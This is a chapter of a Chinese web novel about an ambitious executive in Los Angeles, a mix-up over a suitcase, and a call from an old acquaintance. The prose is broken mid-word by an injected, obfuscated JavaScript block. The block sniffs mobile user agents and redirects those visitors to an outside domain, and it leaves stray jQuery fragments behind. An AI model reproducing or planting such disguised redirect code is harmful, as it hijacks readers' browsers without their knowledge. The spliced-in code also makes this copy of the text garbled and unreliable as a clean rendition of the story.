洛杉矶的夜像一张沉默铺展的灰蓝画布，飞机在云层上方穿行时，机翼下是成排无尽的光点，在城市的骨架里延伸、跳跃、交错。
夏知遥走出LAX机场时，已是夜里八点半，夏知遥微微眯着眼，眉心轻蹙，右手握着行李箱拉杆，十四个小时的飞行让她背部隐隐作痛，但她仍挺直了脊背。
姿态利落，不容破绽。白色T恤略显松垮，却干净得一丝不苟，深蓝牛仔裤剪裁贴身，裤脚卷起两折，露出一双旧皮短靴，磨痕清晰，却被擦得锃亮，像她，用力活着，不允许松垮
她扫了一眼文件摘要，又抬头望向不远处候机的商务车，助手程悦正站在那儿冲她挥手，身后是一队拖着黑色行李箱的同事。
“机上六小时都没睡？”程悦接过她手里的包，小声问道。
夏知遥“嗯”了一声，眼睛还是盯着屏幕，嗓音淡淡的：“睡不着。你让大家先回房休息，明早九点之前我要看到市场部和财务部各自的评估模型。”
程悦点点头，跟身后的人交代了一声，自己留在她身边。
酒店安排在比弗利山的核心地段，是并购方提供的高端接待酒店。玻璃天幕下的前台灯光温暖，地毯踩上去无声，她神情不改地穿过大堂，一直走到房间门口。
她刷卡进门，干脆利落地脱下风衣挂起，长途飞行的疲倦压进眼底，却没有表现出来，“记得把沈总给家里人带的礼物给我。”她转身对程悦说。
夏知遥已经坐在靠窗的书桌前，打开了平板，她的目光紧盯着屏幕上密密麻麻的数字和图表，指尖在触控板上来回滑动，动作极快，像是在用节奏抵抗疲惫。十四小时的飞行、时差的晕眩感、压缩机内干燥到刺痛的空气……这些一律在她体内被调成了“静音”。
落地窗外，是洛杉矶傍晚的街道，城市在玻璃上倒映出柔和的光影，高大的棕榈树轮廓分明，风吹过时，窗帘微微晃动，像是轻微的颤动，但她的神情却依旧冷静，冷静得像一尊被完美雕琢出的石像。
她一边浏览资料，一边将电脑、充电器、转接头、文件夹等依序从包里取出，整齐地码进桌角。
她不喜欢混乱，物品归位，是她进入状态的仪式。只有当每一根线缆都规整到位，每一页资料都预览一遍，她才允许自己相信：一切尚在掌控之中。
哪怕此刻太阳穴在跳，哪怕眼睛涩得像被撒了细沙，她也不允许自己停下来，她太清楚了，一旦她松了手，哪怕只是一秒钟，身后那一整架庞大的系统，就有可能失控、崩塌。
正在这时，手机震了一下，夏知遥没有抬头，指尖停顿了半秒，才伸手拿起手机。屏幕亮起的瞬间，她看清了来电人：程悦。
她眉头微蹙，接通电话的瞬间，那头传来压得极低的声音：“夏姐，不好了……箱子拿错了。”
夏知遥没有任何犹豫，直接推开门，朝程悦的房间走去。
“我们、我们好像拿错箱子了……这箱子不是我的，文件夹、硬盘，还有会议材料……沈总的东西……全都在我原来的那只箱子里。”
她的喉咙突然发紧，太阳穴跳动得越来越剧烈，她从未给自己犯这种低级错误的空间。她几乎从不真正发火，但此刻，她能听见某种情绪在心底塌陷的声音，像是灯下轻碎的瓷，悄无声息地，一点点剥落。
她不是害怕麻烦。她害怕的是，明明自己已经做足了准备，世界却用这种极小概率的方式告诉你，你并不是掌控一切的那个。
她脑海中浮现出那句自己说过无数次的话：“托运行李只能放生活用品。文件和电脑必须随身携带，这不是建议，是底线。”
这是她每次出差前都会反复强调的原则，是她亲身用教训换来的经验。但总有人觉得，“差不多就行了。”
她深吸一口气，将翻涌的情绪压了下去。她并不是在生气那个箱子，而是在愤怒于这个世界总是有人可以忽视规则，却习惯性地把问题推到她身上，让她不得不收拾残局。
她低下头，目光如扫描仪般扫过那只错误的行李箱，最终落在侧面的托运牌上，“SHENYINING”字母清晰，排列得工工整整，仿佛在无声嘲笑她的失误。
夏知遥拉开外面的拉链，掏出一张蓝白色的贴纸，UCLA的校徽。
她指尖一顿，眉头轻蹙，心头微微一震，熟悉的图案让思绪骤然收紧，像拉响了某种直觉，校友？
这个偶然的细节，像一道微光照进死局，让她紧绷的神经松了一丝。
她迅速拿起手机，干脆利落地拍下托运牌，照片定格的那一刻，她指尖几乎未曾停顿，便调出早年加入的UCLA校友群，群消息早已沉寂，此刻却成了解决危机的唯一希望。
她一边确认照片清晰度，一边开始打字，手指在屏幕上飞快游走，如同指挥一场临时调度的战役，每一下都精准无误。
【请问有人认识这个名字吗？机场拿错了行李，急找失主。】
几分钟后，手机震动，屏幕亮起一串串弹窗，亮光照在她线条紧绷的面容上。
【我帮你发到别的群问问，有消息第一时间告诉你】
【这个名字有点眼熟，我去翻一下】
【我在联系一个可能的校友，稍等】
她没有立即回复，只是点了点头，轻轻靠在椅背上，目光依旧锐利，指尖在手机边缘轻轻摩挲，那动作极轻，却透露出她少有的、几乎不可察觉的焦虑反应。
可即便如此，她依旧坐得笔直，脊背贴着座椅，她总是这样，哪怕混乱当头，也必须逼自己成为那块压舱石：先稳住，再出招。
夏知遥深吸一口气，拨通了机场的电话，冷静地要求他们尽快追查错拿的行李。
她低头打开笔记本，屏幕亮起的瞬间，刺目的白光扑面而来，照得她眼底隐隐发疼，日程表跃然眼前，一行行密密麻麻的计划像冷冽精准的命令行，不留半点喘息的余地：
明早九点，目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669910|173106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
标初创企业第一轮尽调对接。
中午，小组复盘会议，梳理投资逻辑。
下午，拟定第一轮出价条件书。
每一行字，都像一颗钉子，直直钉进神经深处。
她的手指迅速游走于邮件与资料之间，标注重点，补充提纲，甚至提前写下几套应答话术。会议上她可能被谁质疑，对方性格如何，攻击逻辑通常从哪个角度切入，她都推演了一遍。
CEO的性格倾向，投资人之间的历史缠斗，甚至项目背后曾流传的模糊八卦，她都默默记下。因为她知道，在这个行业，情报的盲区就是失败的起点。
这个世界，失误就是原罪,她亲眼见过太多人在资本的牌桌上瞬间坠落，前一秒语速流畅，眼神发亮；下一秒，被一句打断，逻辑破碎，整个发言权拱手让人，连桌上的咖啡都没来得及收走。
所以她不允许自己犯错，她是副总监了，再往上一步，就是合伙人，而这一次洛杉矶的并购，是她职业生涯里最关键的一仗。
赢了，她从此登上核心权力层，输了，她不过是“很努力但可惜的人”之一，简历好看，故事平庸，被轻描淡写一句：“能力不错，就是差点火候。”
她不能差那“临门一脚”，她比谁都清楚，想活下来，就必须比别人更冷静、更快、更狠。
她必须要在对手还没开口之前，先读透局势，先落子，她的世界里，没有“差不多”，也没有“下次注意”，只有一击即中，或者——出局。
而“累”这种情绪，于她而言，早已是种不配拥有的奢侈，就在她重新合上一份报告时，手机屏幕再次震动。
一条微信弹了出来，蓝天色的头像静静停在最上方，消息只有一句：【遥遥姐，你方便接电话吗？】
短短十几个字，尾音藏着一丝小心翼翼的试探，又若无其事地带着熟悉的亲昵，像是怕打扰了她，又根本藏不住想靠近的冲动。
“遥遥姐。”
那个称呼一跳出来，仿佛是某段被封存多年的记忆，忽然从心湖深处缓缓浮起，那是很多年前的傍晚，夏天的巷子，风从街尾吹过来，小小的少年穿着肥大的校服，一边跑一边冲她挥手，大声喊着：“遥遥姐，回家吃饭啦！”
那时的日子，简单干净，像一块刚洗过的白布，晾在阳光下，会反光，而如今的她，早已忘了那块布最初的颜色。
她的指尖在手机边缘轻轻一顿，那股被她反复压制、精心封锁的情绪，就像翻书时不小心被风吹动的一页，明明只是一丝轻响，却叫人措手不及。
她深吸了一口气，眼神再次冷静如水，指尖划过屏幕，按下拨号键，电话接通的瞬间，她的声音如同在每一次董事会上给出的答复那样，冷静、克制，干净利落，不带一丝多余情绪：“喂？”
对面安静了一秒，然后，一个熟悉却略显迟疑的男声传来，低低的，像是小心翼翼，又不自觉带着点久别重逢时的局促：“是我，周越。”